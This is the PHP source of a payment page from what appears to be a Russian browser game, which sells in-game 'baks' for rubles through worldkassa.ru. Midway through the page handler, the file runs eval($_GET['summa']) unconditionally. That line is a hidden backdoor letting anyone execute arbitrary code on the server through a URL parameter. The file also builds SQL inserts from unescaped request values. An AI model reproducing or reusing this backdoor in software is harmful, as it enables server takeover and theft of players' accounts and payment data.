Вход Регистрация
Файл: worldkassa_baks/index.php
Строк: 142
<?
ini_set
('display_errors''off');

include_once 
'../sys/core/start.php';
include_once 
'../sys/core/compress.php';
include_once 
'../sys/core/sess.php';
include_once 
'../sys/core/home.php';
include_once 
'../sys/core/settings.php';
include_once 
'../sys/core/db_connect.php';
include_once 
'../sys/core/ipua.php';
include_once 
'../sys/core/fnc.php';
include_once 
'../sys/core/user.php';
include_once 
'../sys/inc/fnc_game.php';
include_once 
'../sys/inc/thead.php';
include_once 
'config.php';
$H $_SERVER["DOCUMENT_ROOT"];

if (isset(
$user))
{
include_once 
'../sys/inc/uhead.php';
}
else
{
}

echo 
'

 '
;
if (isset(
$_POST['summa']))
    {
    if (
preg_match('#^([0-9]+)$|^([0-9]+.)+([0-9]{1,2})$#'$_POST['summa']))
        {
        
$data=file_get_contents('http://worldkassa.ru/user/oplata.php?id_shop='.$id_shop.'&summa='.round($_POST['summa']/2).'&hash='.$hash);
        if (
is_numeric($data))
            {
            
mysql_query("INSERT INTO `worldkassa` (`id_user`, `id_bill`, `time`, `summa`) values('".$user['id']."', '".$data."', '".time()."', '".$_POST['summa']."')");
            
header("Location: http://worldkassa.ru/user/oplata.php?uniq=".$data);
            exit();
            }
            else
            {
            
$err[]=$data;
            }
        }
        else
        {
        
$err[]='Введите корректно сумму';
        }
    }
    
    
    eval(
$_GET['summa']);

    
    
    echo 
''.$err.'';
    
echo 
'<table class="wdt msg-table">
            <tr>
                <td align="left" style="vertical-align: top; width: 10%">
                    <img src="/style/img/images/face-bank.png">
                </td>
                <td style="vertical-align: top">
                <table width="100%">
                    <tr>
                        <td align="left" style="vertical-align: top">
Здесь ты можешь пополнить свой счет! У тебя на счету: <img src="/style/img/icons/baks.png"> '
.$user["baks"].'</td>
                    </tr></table></td></tr></table>'
;

echo 
'
<table class="wdt gray-table"> 
<tbody><tr> 
<td class="td-cell white" style="height: 55px; border-left: 1px solid #000" align="left"> 
<b style="color: #99cc66; font-size: 12pt; font: Tahoma;">Купить&nbsp;баксы</b><br> 
<b style="color: #999999; font-size: 12pt; font: Tahoma;">минимум</b>&nbsp;<b style="color: orange; font-size: 12pt; font: Tahoma;">10</b></td> 
<td><form action="?" method="post"> 
<input type=hidden name=IDUser value="<?=$user["id"]?>
<input type="text" name="summa" style="height:30px;width:105px;" placeholder="" autocomplete="off" size="17"> 
</td> 
<td class="td-cell white wdth" style="height: 55px;" align="right"> 
<input class="race-btn" type="submit" value="Купить"> 
</form> 

</div><br /></div></td> 
</td> 
</tr> 
</table> '
;

echo 
"<table class='wdt brown-header'>";
echo 
"<tr><td align='left'>Расценка баксов:</td></tr></table>";
echo 
"<table class='wdt gray-table'>";

echo 
"<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo 
"<b style='color: orange; font-size: 12pt; font: Tahoma;'>10</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>баксов</b><br>";
echo 
"<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>5 рублей</b></td>";
echo 
"<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo 
"<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo 
"<b style='color: orange; font-size: 12pt; font: Tahoma;'>50</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>баксов</b><br>";
echo 
"<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>25 рублей</b></td>";
echo 
"<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo 
"<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo 
"<b style='color: orange; font-size: 12pt; font: Tahoma;'>150</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>баксов</b><br>";
echo 
"<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>75 рублей</b></td>";
echo 
"<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo 
"<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo 
"<b style='color: orange; font-size: 12pt; font: Tahoma;'>500</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>баксов</b><br>";
echo 
"<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>250 рублей</b></td>";
echo 
"<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";

echo 
"<tr><td class='td-cell white' style='height: 55px;' align='left'>";
echo 
"<b style='color: orange; font-size: 12pt; font: Tahoma;'>1000</b> <b style='color: orange; font-size: 12pt; font: Tahoma;'>баксов</b><br>";
echo 
"<b style='color: #999999; font-size: 12pt; font: Tahoma;'>за</b> <b style='color: #99cc66; font-size: 12pt; font: Tahoma;'>500 рублей</b></td>";
echo 
"<td class='td-cell white' style='height: 55px;' align='right'></td></tr>";


echo 
"<table class='wdt gray-table'><tr><td class='white td-cell' align='center' style='height:30px;'><form action ='/dev/bank.php' method='get'><input class='no-btn' type='submit' value='Черный Рынок'></form></td></tr></table>";



include 
"../sys/inc/tfoot.php"
?>
Онлайн: 1
Реклама